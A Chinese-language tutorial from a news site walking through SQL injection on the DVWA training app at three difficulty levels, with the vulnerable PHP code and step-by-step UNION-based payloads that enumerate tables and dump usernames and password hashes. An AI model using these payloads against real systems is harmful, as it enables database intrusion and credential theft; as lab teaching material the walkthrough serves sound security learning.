返回顶部
首页 > 资讯 > 数据库 >DWVA-关于SQL注入的漏洞详解
  • 736
分享到

DWVA-关于SQL注入的漏洞详解

DWVA-关于SQL注入的漏洞详解 2014-08-18 10:08:31 736人浏览 绘本
摘要

low等级 代码如下:   1   如上图,代码并没有对输入进行过滤,存在sql注入漏洞 下面开始攻击: 1.判断是否存在注入 输入   1                         ---返回正确 输入   1’    

low等级

代码如下:

 

 1  PHP
 2 
 3 if( isset( $_REQUEST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_REQUEST[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id";";
 9     $result = Mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 19 } 20 21 mysqli_close($GLOBALS["___mysqli_ston"]); 22 } 23 24 ?>

 

如上图,代码并没有对输入进行过滤,存在sql注入漏洞

下面开始攻击:

1.判断是否存在注入

输入   1                         ---返回正确

输入   1’                        ---返回错误

输入   1 and 1=1         ---返回正确

输入   1 and 1=2         ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’2      ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)

输入   1‘ or ’1‘=’1         ---返回正确(返回很多结果,证明存在字符型注入)

2.猜解查询SQL语句中的字段数

输入   1‘ or 1=1 order by 1#     ---返回正确

输入   1‘ or 1=1 order by 2#      ---返回正确

输入   1‘ or 1=1 order by 3#      ---返回错误(返回结果---Unknown column "3" in "order clause"       证明字段数为2)

3.确定字段顺序

输入   1" or 1=1 uNIOn select 1,2#    ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID="id")

4.确定数据库

输入   1" or 1=1 union select database(),2#    ---确定数据库为  dwva

5.猜解表名

输入  1" or 1=1 union select 1,table_name from infORMation_schema.tables where table_schema="dvwa" #        ---确定表名为 guestbook 和 users

6.猜解列名

输入  1" or 1=1 union select 1,column_name from information_schema.columns where table_schema="dvwa" and table_name="users" #      ---爆出8个列名user_id,first_name,last_name,user,passWord,avatar,last_login,failed_login

7.猜解数据名

输入  1" or 1=1 union select 1,concat(user,"-",password) from users #       ---爆出所有数据

 

medium

代码如下:

 

 1 php
 2 
 3 if( isset( $_POST[ "Submit" ] ) ) {
 4     // Get input
 5     $id = $_POST[ "id" ];
 6 
 7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 8 
 9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( "
" . mysqli_error($GLOBALS["___mysqli_ston"]) . "
" ); 11 12 // Get results 13 while( $row = mysqli_fetch_assoc( $result ) ) { 14 // Display values 15 $first = $row["first_name"]; 16 $last = $row["last_name"]; 17 18 // Feedback for end user 19 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 20 } 21 22 } 23 24 // This is used later on in the index.php page 25 // Setting it here so we can close the database connection in here like in the rest of the source scripts 26 $query = "SELECT COUNT(*) FROM users;"; 27 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "
" . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . "
" ); 28 $number_of_rows = mysqli_fetch_row( $result )[0]; 29 30 mysqli_close($GLOBALS["___mysqli_ston"]); 31 ?>

 中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

下面开始攻击:

1.判断注入类型

选择1,提交,抓包后更改为 (此操作后续简写为抓包)

1‘ and 1=1                  ---返回错误

1 and 1=1                  ---返回正常(说明注入类型为数字型注入)

2.判断字段数

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回错误(字段数为2)

3.判断字段顺序

抓包

1 union select 1,2#         ---返回正常

4.猜解数据库

抓包

1 union select 1,database()#    ---成功爆出数据库 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

也可以这样

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有数据名

 

 

high

代码如下:

 1 php
 2 
 3 if( isset( $_SESSION [ "id" ] ) ) {
 4     // Get input
 5     $id = $_SESSION[ "id" ];
 6 
 7     // Check database
 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = "$id" LIMIT 1;";
 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( "
Something went wrong.
" ); 10 11 // Get results 12 while( $row = mysqli_fetch_assoc( $result ) ) { 13 // Get values 14 $first = $row["first_name"]; 15 $last = $row["last_name"]; 16 17 // Feedback for end user 18 echo "
ID: {$id}
First name: {$first}
Surname: {$last}
"; 19 } 20 21 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 22 } 23 24 ?>

 

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1" or "1"="1      ---字符注入

2.判断字段数

1" or 1=1 order by 2#      ---返回正确

1" or 1=1 order by 3#      ---返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    ---爆出数据库名

5.猜解表名

1"  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1" or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #       ----爆出列名

7.爆出数据

1" or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据

您可能感兴趣的文档:

--结束END--

本文标题: DWVA-关于SQL注入的漏洞详解

本文链接: https://lsjlt.com/news/3238.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • DWVA-关于SQL注入的漏洞详解
    low等级 代码如下:   1   如上图,代码并没有对输入进行过滤,存在sql注入漏洞 下面开始攻击: 1.判断是否存在注入 输入   1                         ---返回正确 输入   1’     ...
    99+
    2014-08-18
    DWVA-关于SQL注入的漏洞详解
  • 关于ECSHOP中sql注入漏洞修复
    公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程序漏洞如下图:与技术沟通未果的情况下,网上查了...
    99+
    2024-04-02
  • PbootCMS search SQL注入漏洞
    漏洞描述 i ⭐PbootCMS 搜索模块存在SQL注入漏洞。通过漏洞可获取数据库敏感信息 漏洞影响 s ✅PbootCMS < 1.2.1 空间测绘 d ⭕FOFA:app="PBO...
    99+
    2023-09-07
    php 安全 开发语言
  • sql注入漏洞怎么修
    可以通过以下方法修复 sql 注入漏洞:1. 参数化查询;2. 输入验证和清理;3. 使用安全 api;4. 限制数据库权限;5. 保持软件更新;6. 使用 web 应用程序防火墙 (w...
    99+
    2024-05-30
    数据访问
  • 如何解决SQL注入漏洞问题
    本篇内容介绍了“如何解决SQL注入漏洞问题”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!前言最近我在整理安...
    99+
    2024-04-02
  • 一篇文章了解SQL注入漏洞
    目录SQL注入漏洞原理SQL注入内容注入条件SQL注释符与注入流程SQL注入分类SQLMap 分类接受请求类型区分注入数据类型的区分SQL注入思路手工注入思路SQL 详细注入过程总结...
    99+
    2024-04-02
  • 如何修复sql注入漏洞
    修复sql注入漏洞的方案:对所有查询语句,使用标准化的数据库查询语句API接口,设定语句的参数进行过滤一些非法的字符。对用户提交的参数进行安全过滤,像一些特殊的字符(,()*&……%#等等)进行字符转义操作网站的代码层编码统一使用utf8编...
    99+
    2024-04-02
  • sql注入漏洞在什么层
    sql注入可以分为平台层注入和代码层注入,平台层注入是由不安全的数据库配置或数据库平台的漏洞所导致出现,而代码层注入主要是由于程序员对用户输入数据未进行细致地过滤导致的。...
    99+
    2024-04-02
  • 如何修补sql注入漏洞
    修补sql注入漏洞的方法:对所有查询语句,使用标准化的数据库查询语句API接口,设定语句的参数进行过滤一些非法的字符。对用户提交的参数进行安全过滤,像一些特殊的字符(,()*&……%#等等)进行字符转义操作。网站的代码层编码统一使用...
    99+
    2024-04-02
  • 如何测试sql注入漏洞
    测试sql注入漏洞的方法:在登录页面的用户名输入框中,填上正常用户名admin,并且在用户名后增加一个单引号,单击"登录"或在URL地址栏直接输入登录后台,若出错证明没有对'进行过滤,存在SQL注入漏洞。...
    99+
    2024-04-02
  • sql注入漏洞怎样防止
    为了防止 sql 注入漏洞,组织应采取以下步骤:使用参数化查询替换敏感数据。验证数据输入的格式和字符。限制用户输入的字符列表。转义特殊字符以避免被解释为 sql 命令。使用预编译的存储过...
    99+
    2024-06-17
    敏感数据
  • url存在sql注入漏洞如何解决
    url存在sql注入漏洞的解决方法:使用拦截器进行对request的host进行了验证,例如:package com.XXX.interceptoer;import com.jfinal.aop.Interceptor;import com...
    99+
    2024-04-02
  • Web网络安全漏洞分析SQL注入原理详解
    目录一、SQL注入的基础1.1 介绍SQL注入1.2 注入的原理1.3 与MySQL注入相关的知识MySQL查询语句limit的用法需要记住的几个函数注释符内联注释一、SQL注入的基...
    99+
    2024-04-02
  • 漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞
    漏洞复现 泛微OA E-Cology V9 browser.jsp SQL注入漏洞 漏洞描述 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA...
    99+
    2023-08-21
    java sql 开发语言
  • sql注入漏洞是什么意思
    今天就跟大家聊聊有关sql注入漏洞是什么意思,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。        &...
    99+
    2024-04-02
  • php如何预防sql注入漏洞
    php预防sql注入漏洞的方法:利用magic_quotes_gpc指令或它的搭挡addslashes()函数进行过滤,例如:<php//php防注入和XSS攻击通用过滤$_GET    &nb...
    99+
    2024-04-02
  • jsp如何修复sql注入漏洞
    jsp修复sql注入漏洞的方法:采用PreparedStatement预编译语句集,它内置了处理SQL注入的能力,使用它的setXXX方法传值即可。使用正则表达式过滤传入的参数,例如:要引入的包:import java.util.regex...
    99+
    2024-04-02
  • jdbc如何避免sql注入漏洞
    jdbc避免sql注入漏洞的方法:使用PreparedStatement来避免SQL注入,PreparedStatement继承了Statement接口,执行SQL语句的方法无异,例如://预编译SQL语句PreparedStatement...
    99+
    2024-04-02
  • SQL注入漏洞分类有哪些
    SQL注入漏洞分类有:带内SQLi,也叫经典SQLi,攻击者可以在同一个信道里进行攻击,并且拿到结果。推测SQL注入,这种攻击方式下,攻击者并不能在带内看到SQLi成功的数据结果,但是可通过构造大量的SQL语句,通过观察返回的响应来推测数据...
    99+
    2024-04-02
  • ThinkPHP5漏洞分析之SQL注入(七)
    说明 该文章来源于同事lu2ker转载至此处,更多文章可参考:https://github.com/lu2ker/ 文章目录 说明0x00 从s=是个啥开始0x01 模型/...
    99+
    2023-09-08
    TP代码审计 开发语言 php 代码审计
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作